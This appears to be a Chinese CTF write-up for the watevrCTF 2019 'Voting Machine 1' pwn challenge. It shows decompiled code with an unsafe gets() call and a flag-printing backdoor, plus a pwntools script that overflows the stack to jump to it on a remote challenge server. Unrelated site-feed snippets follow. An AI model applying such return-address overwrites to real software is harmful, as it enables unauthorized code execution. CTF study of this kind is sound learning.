news 2026/4/18 9:54:30

[watevrCTF 2019]Voting Machine 1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[watevrCTF 2019]Voting Machine 1

第一次打CTF——PWN篇学习笔记12

int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE v4[2]; // [rsp+Eh] [rbp-2h] BYREF ​ signal(14, sig); alarm(0x28u); puts("Hello and welcome to \x1B[3mour\x1B[23m voting application!"); puts("Today's vote will be regarding the administration of"); puts("watevr CTF."); puts("the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible."); puts("Thanks!"); printf("Vote: "); fflush(_bss_start); gets(v4); puts("Thanks for voting!"); return 0; }

发现gets函数,明显的栈溢出,查看字符串发现/home/ctf/flag.txt,点击进入后门函数

void __noreturn super_secret_function() { FILE *stream; // [rsp+0h] [rbp-10h] char i; // [rsp+Fh] [rbp-1h] ​ stream = fopen("/home/ctf/flag.txt", "r"); if ( !stream ) { puts("Cannot open flag.txt"); exit(1); } for ( i = fgetc(stream); i != -1; i = fgetc(stream) ) putchar(i); fclose(stream); exit(0); }
.text:0000000000400807 super_secret_function proc near .text:0000000000400807 .text:0000000000400807 stream = qword ptr -10h .text:0000000000400807 var_1 = byte ptr -1 .text:0000000000400807 .text:0000000000400807 ; __unwind { .text:0000000000400807 push rbp .text:0000000000400808 mov rbp, rsp .text:000000000040080B sub rsp, 10h .text:000000000040080F lea rsi, modes ; "r" .text:0000000000400816 lea rdi, filename ; "/home/ctf/flag.txt" .text:000000000040081D call _fopen .text:0000000000400822 mov [rbp+stream], rax .text:0000000000400826 cmp [rbp+stream], 0 .text:000000000040082B jnz short loc_400843 .text:000000000040082D lea rdi, s ; "Cannot open flag.txt" .text:0000000000400834 call _puts .text:0000000000400839 mov edi, 1 ; status .text:000000000040083E call _exit

取地址0x400808,据此编写脚本,成功获得flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node5.anna.nssctf.cn",21930) ​ backdoor = 0x400808 ​ payload = cyclic(0x2 + 8) + p64(backdoor) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 3:26:55

采购计划没抓手?两小时,我搭了一套以销定采的供应链系统

很多公司在做供应链的时候,总觉得自己不是没有数据,就是没有方法。最后变成一句话:计划没抓手,采购全靠经验,结果一拍脑袋就要货,一拍屁股又让供应商等等等等。那天我去看一家工厂的流程,销售预…

作者头像 李华
网站建设 2026/4/18 3:26:12

构建个人专属知识库:访答知识库深度解析与实战指南

构建个人专属知识库:访答知识库深度解析与实战指南 在信息爆炸的时代,高效管理个人知识已成为提升工作效率的关键。本地私有知识库因其数据安全、离线可用等优势,正受到越来越多人的青睐。在众多选择中,知识库以其独特的定位和功能…

作者头像 李华
网站建设 2026/4/17 20:00:16

8个课堂汇报神器,本科生AI工具推荐与使用攻略

8个课堂汇报神器,本科生AI工具推荐与使用攻略 论文写作的“三座大山”:时间、重复率与效率的困境 对于本科生来说,课堂汇报和论文写作从来都不是轻松的任务。从选题到文献综述,从框架搭建到内容撰写,每一个环节都充满了…

作者头像 李华
网站建设 2026/4/18 5:20:19

“从可控性到自主反思”这个短语,似乎描述了一种从外部控制(或自我控制)向内在自主反思的转变过程

“从可控性到自主反思”这个短语,似乎描述了一种从外部控制(或自我控制)向内在自主反思的转变过程。这在心理学、人工智能(AI)和教育等领域都有深刻的体现,代表了个体或系统从被动受控、依赖外部约束&#…

作者头像 李华
网站建设 2026/4/18 4:24:05

SQL中表删除与表修改

表删表drop table [if not exist] students;表修改ALTER语句使用 ALTER TABLE 语句追加, 修改, 或删除列的语法add增加字段:alter table students add [column] dateT date;设置默认值:alter table students add dateT date DEFAULT "2025-12-12&qu…

作者头像 李华